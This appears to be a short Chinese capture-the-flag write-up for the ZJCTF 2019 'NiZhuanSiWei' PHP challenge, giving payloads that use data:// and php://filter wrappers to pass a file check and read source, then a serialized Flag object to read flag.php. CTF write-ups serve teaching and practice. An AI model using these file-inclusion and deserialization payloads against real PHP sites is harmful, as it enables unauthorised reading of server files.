[ZJCTF 2019]NiZhuanSiWei

虽然有include函数但我们无法直接包含flag因为对file进行了过滤,又看见有反序列化的入口,只是并没有发现可利用的方法,但题目有提示所以尝试将其调出来

php伪协议写入内容

看到file_get_contents函数想到使用data协议,去封装一个流,然后保险起见include使用了filter,data:写入内容为welcome to the zjctf,&加入php伪协议来读取useless.php

payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

给file变量在赋值读取flag.php

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将前面的伪协议去掉,最终的poc是:

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

相关推荐
_李小白27 分钟前
【Android FrameWork】延伸阅读:SurfaceFlinger线程
android
csdn12259873361 小时前
JetPack Compose 入门先搞清楚
android·compose·jetpack
liang_jy2 小时前
Android LaunchMode
android·面试
阿里云云原生3 小时前
Android App 崩溃排查实战:如何利用 RUM 完整数据与符号化技术定位问题?
android·阿里云·云原生·rum
过期动态3 小时前
JDBC高级篇:优化、封装与事务全流程指南
android·java·开发语言·数据库·python·mysql
没有了遇见5 小时前
Android 音乐播放器之MotionLayout实现View流畅变换
android
TheNextByte16 小时前
在 PC 和Android之间同步音乐的 4 种方法
android
君莫啸ོ7 小时前
Android基础-Activity属性 android:configChanges
android
TimeFine7 小时前
Android AI解放生产力(七):更丰富的AI运用前瞻
android
保持低旋律节奏7 小时前
linux——进程状态
android·linux·php